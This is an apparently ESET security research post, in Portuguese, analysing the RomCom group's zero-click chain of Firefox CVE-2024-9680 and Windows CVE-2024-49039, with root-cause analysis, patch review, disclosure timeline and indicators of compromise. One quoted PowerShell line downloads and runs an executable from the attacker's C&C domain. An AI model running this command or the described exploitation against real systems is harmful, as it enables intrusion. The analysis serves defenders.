A equipe de pesquisa da ESET descobriu uma vulnerabilidade até então desconhecida em produtos da Mozilla, explorada ativamente pelo grupo RomCom, alinhado à Rússia. Esta é a segunda vez que o RomCom é flagrado explorando uma vulnerabilidade zero-day significativa em ataques reais, após a exploração da CVE-2023-36884 por meio do Microsoft Word em junho de 2023.

Essa vulnerabilidade crítica, identificada como CVE-2024-9680 e com uma pontuação CVSS de 9,8, permite que versões vulneráveis do Firefox, Thunderbird e do navegador Tor executem código no contexto restrito do navegador. Quando combinada com outra vulnerabilidade anteriormente desconhecida no Windows, identificada como CVE-2024-49039 e com uma pontuação CVSS de 8,8, é possível executar código arbitrário no contexto do usuário conectado. Em um ataque bem-sucedido, se a vítima acessar uma página web contendo o exploit, o criminoso pode executar código arbitrário — sem qualquer interação do usuário —, o que, nesse caso, resultou na instalação do backdoor homônimo do RomCom no computador da vítima.

Principais pontos deste post:

  • Em 8 de outubro de 2024, pesquisadores da ESET descobriram uma vulnerabilidade zero-day até então desconhecida nos produtos da Mozilla, que estava sendo explorada ativamente (in the wild).
  • A análise do exploit levou à identificação da vulnerabilidade, agora registrada como CVE-2024-9680: um erro de use-after-free na função de linha do tempo de animação no Firefox. A Mozilla corrigiu essa vulnerabilidade em 9 de outubro de 2024.
  • Análises posteriores revelaram outra vulnerabilidade zero-day no Windows: uma falha de escalonamento de privilégios, agora registrada como CVE-2024-49039, que permite a execução de código fora da sandbox do Firefox. A Microsoft lançou um patch para essa segunda vulnerabilidade em 12 de novembro de 2024.
  • Os ataques bem-sucedidos resultaram na instalação do backdoor RomCom, sugerindo uma campanha de exploração em larga escala.

Perfil do RomCom

O RomCom — também conhecido como Storm-0978, Tropical Scorpius ou UNC2596 — é um grupo alinhado à Rússia que realiza tanto campanhas oportunistas contra setores empresariais quanto operações de espionagem seletiva. O foco do grupo evoluiu para incluir atividades de espionagem, em paralelo às suas operações tradicionais de cibercrime. O backdoor utilizado pelo grupo é capaz de executar comandos e baixar módulos adicionais na máquina da vítima, aumentando significativamente o nível de comprometimento.

A Tabela 1 apresenta os setores-alvo identificados em nossa pesquisa sobre as atividades do RomCom em 2024, destacando que o grupo atua tanto no campo do espionagem quanto em operações de cibercrime.

Tabela 1. Setores-alvo do RomCom em 2024.

Vertical and region Purpose First seen
Governmental entity in Ukraine Espionage 2024-01
Pharmaceutical sector in the US Cybercrime 2024-03
Legal sector in Germany Cybercrime 2024-03
Insurance sector in the US Cybercrime 2024-04
Defense sector in Ukraine Espionage 2024-08
Energy sector in Ukraine Espionage 2024-08
Governmental entities in Europe Espionage 2024-08
Worldwide targeting – Firefox exploit Unknown 2024-10

Cadeia de comprometimento

A cadeia de comprometimento envolve um site falso que redireciona a vítima em potencial para um servidor que hospeda o exploit. Caso o exploit seja bem-sucedido, um shellcode é executado, baixando e instalando o backdoor RomCom — um exemplo pode ser visto na Figura 1. Embora ainda não se saiba exatamente como o link para o site falso é distribuído, ao acessar a página com um navegador vulnerável, um payload é liberado e executado no computador da vítima, sem necessidade de interação do usuário. Por fim, ocorre uma redirecionamento em JavaScript utilizando window.location.href após alguns segundos, permitindo que o exploit seja executado antes que o usuário perceba a alteração na página.

Figure 1. Exploit chain to compromise the victim
Figura 1. Cadeia de exploits para comprometer a vítima.

Entre 10 e 16 de outubro de 2024, logo após a correção da primeira vulnerabilidade, identificamos outros servidores de C&C que hospedavam o exploit. Eles utilizavam um esquema recorrente de nomenclatura para seus servidores falsos, adicionando o prefixo ou sufixo redir ou red a um domínio legítimo, às vezes também alterando seu domínio de nível superior (TLD), conforme mostrado na Tabela 2. A redirecionamento, ao final da tentativa de exploração, levava as vítimas ao site legítimo no domínio original, presumivelmente para evitar levantar suspeitas dos alvos.

Tabela 2. Servidores falsos que redirecionam para o exploit.

First seen Fake server Final redirect to Redirect website purpose
2024⁠-⁠10⁠-⁠10 redircorrectiv[.]com correctiv.org Nonprofit independent newsroom.
2024⁠-⁠10⁠-⁠14 devolredir[.]com devolutions.net Remote access and password management solutions.
2024⁠-⁠10⁠-⁠15 redirconnectwise[.]cloud connectwise.com MSP technology and IT management software.
2024⁠-⁠10⁠-⁠16 redjournal[.]cloud connectwise.com

Se uma vítima usando um navegador vulnerável visitar uma página web contendo esse exploit, a vulnerabilidade será ativada e um shellcode será executado em um processo de conteúdo. O shellcode é composto por duas partes: a primeira recupera a segunda da memória e marca as páginas que ela contém como executáveis, enquanto a segunda implementa um carregador PE baseado no projeto de código aberto Shellcode Reflective DLL Injection (RDI).

A biblioteca carregada executa um escape de sandbox no Firefox, o que resulta no download e execução do backdoor RomCom no computador da vítima. O backdoor é hospedado em um servidor de C&C localizado nos domínios journalctd[.]live, correctiv[.]sbs ou cwise[.]store, dependendo da amostra.

De acordo com nossa telemetria, entre 10 de outubro de 2024 e 4 de novembro de 2024, as vítimas em potencial que visitaram os sites que hospedavam o exploit estavam principalmente na Europa e na América do Norte, conforme mostrado na Figura 2. O número de alvos variou de uma única vítima por país até 250, segundo a telemetria da ESET.

Figure 2. Heatmap of potential victims
Figura 2. Mapa de calor de vítimas potenciais.

CVE-2024-9680: Use-after-free no Firefox Animation Timeline

Em 8 de outubro de 2024, identificamos arquivos relevantes usados para entregar o backdoor RomCom, hospedados no servidor 1drv.us[.]com, controlado pelo cibercriminoso. Os exploits exploram uma vulnerabilidade de use-after-free no Firefox Animation Timeline, permitindo que um invasor execute código em um processo de conteúdo. Durante nossa investigação, analisamos os arquivos mencionados na Tabela 3.

Tabela 3. Arquivos relacionados ao exploits.

Name Description
main-128.js JavaScript file containing the exploit for versions of Firefox from 106 to 128.
main-129.js JavaScript file containing the exploit for versions of Firefox from 129 to 131.
main-tor.js JavaScript file containing the exploit for Tor Browser versions 12 and 13.
script.js JavaScript file used to generate a CAPTCHA.
utils.js JavaScript file containing helper functions, e.g., to convert data types, or to get the OS type or browser version.
animation0.html HTML iframe loaded by the exploit to trigger the use-after-free vulnerability.
index.html HTML page loading the exploit and redirecting to a legitimate website after a few seconds.

As marcas de tempo associadas a esses arquivos indicam que eles foram criados em 3 de outubro de 2024 e disponibilizados on-line. No entanto, o cibercriminoso pode ter tido acesso a esse exploit antes dessa data.

Informamos a Mozilla sobre a vulnerabilidade logo após sua descoberta, com a seguinte cronologia dos acontecimentos:

  • 08-10-2024: Descoberta e análise inicial.
  • 08-10-2024: Notificação da vulnerabilidade para a Mozilla.
  • 08-10-2024: Vulnerabilidade reconhecida pela Mozilla.
  • 09-10-2024: CVE-2024-9680 atribuído pela Mozilla Corporation.
  • 09-10-2024: Vulnerabilidade corrigida no Firefox, Security Advisory 2024-51.
  • 09-10-2024: Vulnerabilidade corrigida no Tor Browser, versão 13.5.7.
  • 10-10-2024: Vulnerabilidade corrigida no Tails, versão 6.8.1.
  • 10-10-2024: Vulnerabilidade corrigida no Thunderbird, Security Advisory 2024-52.

Gostaríamos de agradecer à equipe da Mozilla pela rápida resposta e destacar seu impressionante trabalho ao publicar um patch em apenas um dia.

A Mozilla e o Projeto Tor lançaram um patch que corrige a vulnerabilidade nas seguintes versões:

  • Firefox 131.0.2
  • Firefox ESR 115.16.1
  • Firefox ESR 128.3.1
  • Navegador Tor 13.5.7
  • Tails 6.8.1
  • Thunderbird 115.16
  • Thunderbird 128.3.1
  • Thunderbird 131.0.1

Durante a produção deste post, o pesquisador independente Dimitri Fourny publicou uma análise detalhada da vulnerabilidade em 14 de novembro de 2024.

Análise da causa

O arquivo main-<versão do Firefox>.js verifica primeiro a versão exata do navegador e determina sua vulnerabilidade ao explorar certos deslocamentos e tamanhos de objetos específicos de uma versão afetada. Se essas verificações forem superadas, ele adiciona um iframe HTML na página do exploit, implementado em animation0.html. Esse arquivo cria quatro elementos HTML div, identificados respectivamente como target0 a target3, mas, mais importante, define uma função getter para a propriedade then de Object.prototype, conforme mostrado na Figura 3. Essa função getter é responsável por acionar a vulnerabilidade use-after-free, como explicado a seguir. Vale destacar que os comentários (em verde escuro) foram inseridos pelos próprios autores do exploit, o que pode indicar que o exploit ainda estava em fase de desenvolvimento ou que o cibercriminoso adquiriu o código de terceiros.

Figure 3. The JavaScript exploit defines the then property’s getter function on every object
Figura 3. O exploit em JavaScript define a função getter para a propriedade then em cada objeto, desencadeando a vulnerabilidade use-after-free.

Após um heap spraying inicial, a função prepare cria quatro objetos Animation, um para cada elemento div criado anteriormente, conforme ilustrado na Figura 4. Esses objetos de animação são gerenciados por um objeto AnimationTimeline.

Figure 4. The exploit code creates animation objects for div elements
Figura 4. O código do exploit cria objetos de animação para elementos div.

Ao longo do documento da animation timeline, a função test pausa e retorna a propriedade ready do primeiro e do segundo objeto de animação. De acordo com a documentação, a propriedade ready retorna uma Promise que é resolvida quando a animação está pronta para ser reproduzida. Ao chamar o método then sobre a Promise, a função getter exibida na Figura 3 é executada. Essa função incrementa uma variável global flag e, quando seu valor atinge 2, o primeiro objeto de animação (anim0) é cancelado e todos os elementos div são removidos. A chamada à função rm0 (mostrada na Figura 3) define os objetos de animação como null, liberando-os da memória, o que aciona a vulnerabilidade use-after-free. Além disso, essa função realiza uma organização de memória conhecida como heap feng shui e, no exploit originalmente descoberto, chama a função getInfo, responsável por obter a execução de código arbitrário.

Enquanto o documento animation0.html é atualizado, o método Tick do objeto AnimationTimeline é chamado periodicamente. Como mostrado na Figura 5, esse método itera sobre os diferentes objetos de animação presentes na linha do tempo de animação e adiciona as animações que devem ser removidas a uma variável local chamada animationsToRemove.

Figure 5.
Figura 5. No método AnimationTimeline::Tick, os objetos de animação a serem removidos são adicionados à variável local animationsToRemove.

O bug ocorre porque, enquanto o método Tick itera sobre os diferentes objetos de animação da linha do tempo, o próprio método Tick do objeto Animation é chamado. Isso pode levar à liberação do objeto de animação atual, resultando no uso de um dangling pointer (ponteiro pendente). Durante a depuração do exploit, observamos uma sequência de chamadas que, eventualmente, terminava na execução da função getter explicada anteriormente, conforme ilustrado nas Figuras 6 e 7.

Figure 6. Call stack of the animation being cancelled
Figura 6. Pilha de chamadas da animação cancelada pela função getter invocada através do método Animation::Tick.
Figure 7. The Animation PauseAt method ends up calling the getter function
Figura 7. O método Animation::PauseAt termina chamando a função getter.

A função getter chama Animation::Cancel, que, por sua vez, invoca AnimationTimeline::RemoveAnimation. Em seguida, os objetos de animação anim0 e anim1 são definidos como null, liberando-os da memória.

Quando AnimationTimeline::Tick itera sobre o array animationsToRemove (linha 74 na Figura 5), AnimationTimeline::RemoveAnimation manipula um dangling pointer (ponteiro pendente) de um objeto Animation que já foi liberado, como mostrado na Figura 8.

Figure 8. Call stack of the crash in AnimationTimeline RemoveAnimation
Figura 8. Pilha de chamadas do erro em AnimationTimeline::RemoveAnimation ao manipular um dangling pointer.

Após liberar as animações na função rm0, o exploit continua com mais gerenciamento de heap (heap management) para controlar os objetos que substituirão as animações liberadas. Finalmente, a função getInfo é chamada, como ilustrado na Figura 9.

Figure 9. Exploit code function rm0 triggers the use-after-free bug and exploits it
Figura 9. A função rm0 no código do exploit aciona a falha use-after-free e a explora.

Sem entrar em muitos detalhes sobre o código do exploit, o autor abusou dos objetos div e seus atributos, bem como de objetos ImageData, para extrair propriedades destes últimos, conforme mostrado na Figura 10.

Figure 10. Exploit code getInfo function attempts to leak an ImageData object
Figura 10. A função getInfo no código do exploit tenta filtrar um objeto ImageData.

A seguir, o código do exploit manipula objetos ArrayBuffer para filtrar o endereço de um objeto JavaScript arbitrário (conhecido como a primitiva addrof) e explorar o compilador JIT (Just-In-Time) do Firefox para executar o primeiro componente do shellcode no contexto de um processo de conteúdo, como ilustrado na Figura 11. Essa técnica é explicada com grande detalhes neste post.

Figure 11. The exploit code abuses the Firefox JIT compiler to execute shellcode
Figura 11. O código do exploit explora o compilador JIT do Firefox para executar shellcode.

Mozilla corrigiu a vulnerabilidade no Firefox 131.0.2, Firefox ESR 128.3.1 e Firefox ESR 115.16.1 em 9 de outubro de 2024. Essencialmente, os ponteiros para os objetos de animação gerenciados pela linha do tempo agora são implementados por meio de ponteiros de contagem de referências (RefPtr), como sugerido no diff. Isso impede que as animações sejam liberadas, pois AnimationTimeline::Tick continuará mantendo uma referência a elas.

Análise do código shell

Ambos os shellcodes estão armazenados no arquivo JavaScript exploit main-<versão do Firefox>.js. O primeiro é criado dinamicamente como uma matriz de números flutuantes, enquanto o segundo é armazenado como uma enorme matriz de bytes.

O Shellcode de Egghunting

Este primeiro shellcode simplesmente recupera o segundo shellcode procurando na memória um valor mágico codificado como 0x8877665544332211, altera a proteção de memória para leitura-gravação-execução (RWX) e executa o código localizado nesse endereço.

Código shell do carregador reflexivo

Este segundo shellcode é a versão compilada do projeto Shellcode RDI, que permite carregar uma DLL. As constantes usadas no shellcode não foram modificadas pelo ator da ameaça (veja em https://github.com/monoxgas/sRDI/blob/master/Native/Loader.cpp#L367 em comparação com as constantes mostradas na Figura 12).

Figure 12. The constants used in the public Shellcode RDI project remained unchanged
Figura 12. As constantes usadas no projeto público Shellcode RDI não foram modificadas.

O shellcode simplesmente carrega uma biblioteca incorporada, cujo único propósito é escapar das restrições do processo de conteúdo isolado (sandboxed) do Firefox.

CVE-2024-49039: Escalada de privilégios no Agendador de Tarefas do Windows

A biblioteca carregada (SHA1: ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6), chamada PocLowIL pelos desenvolvedores e compilada em 3 de outubro de 2024, implementa uma fuga do sandbox do nível de processo não confiável do processo de conteúdo para um nível médio. Essencialmente, a biblioteca faz uso de um endpoint RPC não documentado, que não deveria ser invocável a partir de um nível de processo não confiável, para lançar um processo PowerShell oculto que baixa uma segunda fase de um servidor C&C.

Cronologia da divulgação da vulnerabilidade:

  • 2024-10-08: Como parte do nosso relatório inicial à Mozilla para o CVE-2024-9680, também fornecemos o que acreditávamos ser uma fuga de sandbox.
  • 2024-10-14: A equipe de segurança da Mozilla confirmou a fuga do sandbox e considerou que a vulnerabilidade estava relacionada a uma falha de segurança do Windows. Nos informaram que haviam entrado em contato com o Centro de Resposta de Segurança da Microsoft (MSRC) para avaliar a vulnerabilidade.
  • 2024-11-12: A Microsoft publicou um aviso para o CVE-2024-49039 e o respectivo patch através da atualização KB5046612. A vulnerabilidade também foi descoberta de forma independente por Vlad Stolyarov e Bahare Sabouri, do Grupo de Análise de Ameaças do Google, conforme mencionado na KB5046612.
Análise da causa

O código de escape do sandbox reside na função principal relativamente pequena da biblioteca. Ele faz uso de um ponto final RPC não documentado, como ilustrado na Figura 13.

Figure 13. The PocLowIL library prepares to interact with a task-related endpoint
Figura 13. A biblioteca PocLowIL se prepara para interagir com um ponto final relacionado a uma tarefa.

A função preenche estruturas não documentadas e chama a função NdrClientCall2 três vezes. O primeiro parâmetro passado para essa função, pStubDescriptor, é uma estrutura MIDL_STUB_DESC, cujo membro RpcInterfaceInformation aponta para uma interface identificada pelo GUID 33D84484-3626-47EE-8C6F-E7E98B113BE1. Esta interface é implementada na biblioteca do Windows WPTaskScheduler.dll, carregada por schedsvc.dll, que está hospedada no processo do serviço Programador de Tarefas (svchost.exe).

Segundo nossa análise dessa interface, o código de escape do sandbox chama as seguintes funções:

  • s_TaskSchedulerCreateSchedule
  • s_TaskSchedulerExecuteSchedule
  • s_TaskSchedulerDeleteSchedule (usada apenas para limpeza)

Usando RpcView e, posteriormente, invertendo parcialmente algumas estruturas, conseguimos descobrir as principais estruturas, como ilustrado na Figura 14.

Figure 14. The main structures used to create a scheduled task through the RPC interface
Figura 14. As principais estruturas usadas para criar uma tarefa programada através da interface RPC.

Após aplicar essas estruturas no IDA Pro, conseguimos uma visão mais clara da tarefa, como mostrado na Figura 15.

Figure 15. IDA Pro pseudocode view of the sandbox escape code
Figura 15. Visão em pseudocódigo do IDA Pro do código de escape do sandbox.

Baseado no código, a biblioteca maliciosa cria uma tarefa programada que executará um aplicativo arbitrário em um nível de integridade médio, permitindo que os atacantes elevem seus privilégios no sistema e escapem do sandbox. Isso é possível devido à falta de restrições impostas no descritor de segurança aplicado à interface RPC durante sua criação, como mostrado na Figura 16.

Figure 16. Permissive security descriptor applied to the RPC interface
Figura 16. Descritor de segurança permissivo aplicado à interface RPC.   

A variável renomeada interface_security_descriptor, usada ao chamar RpcServerRegisterIf3, tem o seguinte valor: D:P(A;;GA;;;S-1-15-2-1)(A;;GA;;;WD). De acordo com a Security Descriptor Definition Language (SDDL), isso permite que qualquer pessoa (WD) se comunique com a interface RPC e chame seus procedimentos independentemente do seu nível de integridade.

Exploração

Neste caso, o cibercriminoso criou uma tarefa chamada firefox.exe que lançará o conhost.exe em modo headless para ocultar a janela do processo filho. A desofuscação do restante da linha de comando (mostrada na Figura 15) revelou o código PowerShell exibido na Figura 17. O código é o seguinte:

$a=$env:public + '\\\public'; Invoke-WebRequest https://journalctd[.]live/JfWb4OrQPLh -o $a; sleep 15; Rename-Item $a ($a = ($a + '.exe')) # $env:public\public.exe Iniciar-proceso $a; sleep 10; Renombrar-elemento $a ($a = ($a -replace 'public.e', 'epublic.e')) # $env:public\public.exe Inicio-Proceso $a

Figura 17. Código PowerShell baixando um componente da próxima fase.    

O código realiza o download de um executável a partir do seguinte endereço: https://journalctd[.]live/JfWb4OrQPLh, o qual é armazenado na pasta %PUBLIC% como public.exe e executado. Após 10 segundos, o arquivo é renomeado para epublic.exe e executado novamente.

Breve análise do patch

A versão corrigida de WPTaskScheduler.dll (versão 10.0.19041.5129) publicada com a atualização KB5046612 utiliza um descritor de segurança mais complexo, como mostrado na Figura 18.

Figure 18. The security descriptor introduced by the patch is more restrictive
Figura 18. O descritor de segurança introduzido pelo patch é mais restritivo.    

O novo descritor de segurança é:

D:(A;;GRGWGX;;;SY)(A;;GRGWGX;;;LS)(A;;GR;;;NS)(A;;GR;;;IU)S:(ML;;NWNXNR;;;ME)

A análise da cadeia revela a seguinte lógica de restrição:

  • As contas de sistema (SY) e de serviço local (LS) têm acesso de leitura, gravação e execução;
  • A conta de serviço de rede (NS) e os usuários interativos (IU) têm apenas acesso de leitura;
  • Finalmente, objetos com integridade inferior ao nível médio (ME) têm o acesso de leitura, gravação e execução negado.

Essas novas restrições impostas pelo descritor de segurança atualizado evitam a escalada de privilégios, tornando obsoleto o código de escape do sandbox.

Conclusão

A combinação de duas vulnerabilidades zero-day forneceu ao RomCom um exploit que não requer interação do usuário. Este nível de sofisticação demonstra a intenção e os recursos do cibercriminoso para obter ou desenvolver capacidades furtivas. A ESET compartilhou detalhes de suas descobertas com a Mozilla, seguindo nosso processo coordenado de divulgação de vulnerabilidades pouco depois do descobrimento. A Mozilla publicou um blog sobre como reagiu à revelação e foi capaz de lançar uma solução em 25 horas, o que é impressionante em comparação com os padrões da indústria.

Para quaisquer dúvidas sobre nossa pesquisa publicada no WeLiveSecurity, entre em contato conosco através do e-mail threatintel@eset.com.

Indicadores de comprometimento

Você pode encontrar uma lista completa de indicadores de compromisso e amostras em nosso repositório no GitHub.

Arquivos

SHA-1 Filename Detection Description
A4AAD0E2AC1EE0C8DD25968FA4631805689757B6 utils.js JS/Exploit.Agent.NSF RomCom Firefox exploit.
CA6F8966A3B2640F49B19434BA8C21832E77A031 main-tor.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
21918CFD17B378EB4152910F1246D2446F9B5B11 main-128.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
703A25F053E356EB6ECE4D16A048344C55DC89FD main-129.js JS/Exploit.Agent.NSE RomCom Firefox exploit.
ABB54C4751F97A9FC1C9598FED1EC9FB9E6B1DB6 PocLowIL.dll Win64/Runner.AD RomCom Firefox sandbox escape.
A9D445B77F6F4E90C29E385264D4B1B95947ADD5 PocLowIL.dll Win64/Runner.AD RomCom Tor browser sandbox escape.

Rede

IP Domain Hosting provider First seen Details
194.87.189[.]171 journalctd[.]live Aeza International LTD 2024⁠-⁠10⁠-⁠08 RomCom second-stage C&C server.
178.236.246[.]241 correctiv[.]sbs AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠09 RomCom second-stage C&C server.
62.60.238[.]81 cwise[.]store AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠15 RomCom second-stage C&C server.
147.45.78[.]102 redircorrectiv[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠10 RomCom exploit delivery C&C server.
46.226.163[.]67 devolredir[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠14 RomCom exploit delivery C&C server.
62.60.237[.]116 redirconnectwise[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠15 RomCom exploit delivery C&C server.
62.60.237[.]38 redjournal[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠16 RomCom exploit delivery C&C server.
194.87.189[.]19 1drv.us[.]com AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠08 RomCom malware delivery C&C server.
45.138.74[.]238 economistjournal[.]cloud AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠16 RomCom exploit redirection C&C server.
176.124.206[.]88 N/A AEZA INTERNATIONAL LTD 2024⁠-⁠10⁠-⁠08 RomCom second-stage C&C server.

Técnicas ATT&CK de MITRE

Esta tabela foi elaborada utilizando a versão 16 do framework MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1583 Acquire Infrastructure RomCom sets up VPSes and buys domain names.
T1587.001 Develop Capabilities: Malware RomCom develops malware in multiple programming languages.
T1587.004 Develop Capabilities: Exploits RomCom may develop exploits used for initial compromise.
T1588.003 Obtain Capabilities: Code Signing Certificates RomCom obtains valid code-signing certificates to sign its malware.
T1588.005 Obtain Capabilities: Exploits RomCom may acquire exploits used for initial compromise.
T1588.006 Obtain Capabilities: Vulnerabilities RomCom may obtain information about vulnerabilities it uses for targeting victims.
T1608 Stage Capabilities RomCom stages malware on multiple delivery servers.
Initial Access T1189 Drive-by Compromise RomCom compromises victims through a user visiting a website hosting an exploit.
Execution T1053.005 Scheduled Task/Job: Scheduled Task RomCom creates a scheduled task using RCP to execute the next stage downloader.
Persistence T1546.015 Event Triggered Execution: Component Object Model Hijacking The RomCom backdoor hijacks DLLs loaded by explorer.exe or wordpad.exe for persistence.
Privilege Escalation T1068 Exploitation for Privilege Escalation RomCom exploits a vulnerability to escape the Firefox sandbox.
Defense Evasion T1622 Debugger Evasion The RomCom backdoor detects debuggers by registering an exception handler.
T1480 Execution Guardrails The RomCom backdoor checks whether the system state is suitable for execution.
T1027.011 Obfuscated Files or Information: Fileless Storage The RomCom backdoor is stored encrypted in the registry.
T1553.002 Subvert Trust Controls: Code Signing The RomCom backdoor weakens security mechanisms by using trusted code-signing certificates.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers The RomCom backdoor collects passwords, cookies, and sessions using a browser stealer module.
T1552.001 Unsecured Credentials: Credentials In Files The RomCom backdoor collects passwords using a file reconnaissance module.
Discovery T1087 Account Discovery The RomCom backdoor collects username, computer, and domain data.
T1518 Software Discovery The RomCom backdoor collects information about installed software and versions.
T1614 System Location Discovery The RomCom backdoor checks for a specific keyboard layout ID (KLID).
Lateral Movement T1021 Remote Services The RomCom backdoor creates SSH tunnels to move laterally within compromised networks.
Collection T1560 Archive Collected Data The RomCom backdoor stores data in a ZIP archive for exfiltration.
T1185 Man in the Browser The RomCom backdoor steals browser cookies, history, and saved passwords.
T1005 Data from Local System The RomCom backdoor collects specific file types based on file extensions.
T1114.001 Email Collection: Local Email Collection The RomCom backdoor collects files with .msg, .eml, and .email extensions.
T1113 Screen Capture The RomCom backdoor takes screenshots of the victim’s computer.
Command and Control T1071.001 Standard Application Layer Protocol: Web Protocols The RomCom backdoor uses HTTP or HTTPS as a C&C protocol.
T1573.002 Encrypted Channel: Asymmetric Cryptography The RomCom backdoor encrypts communication using SSL certificates.
Exfiltration T1041 Exfiltration Over Command-and-Control Channel The RomCom backdoor exfiltrates data using the HTTPS C&C channel.
Impact T1565 Data Manipulation RomCom manipulates systems and steals data.
T1657 Financial Theft RomCom compromises companies for financial interest.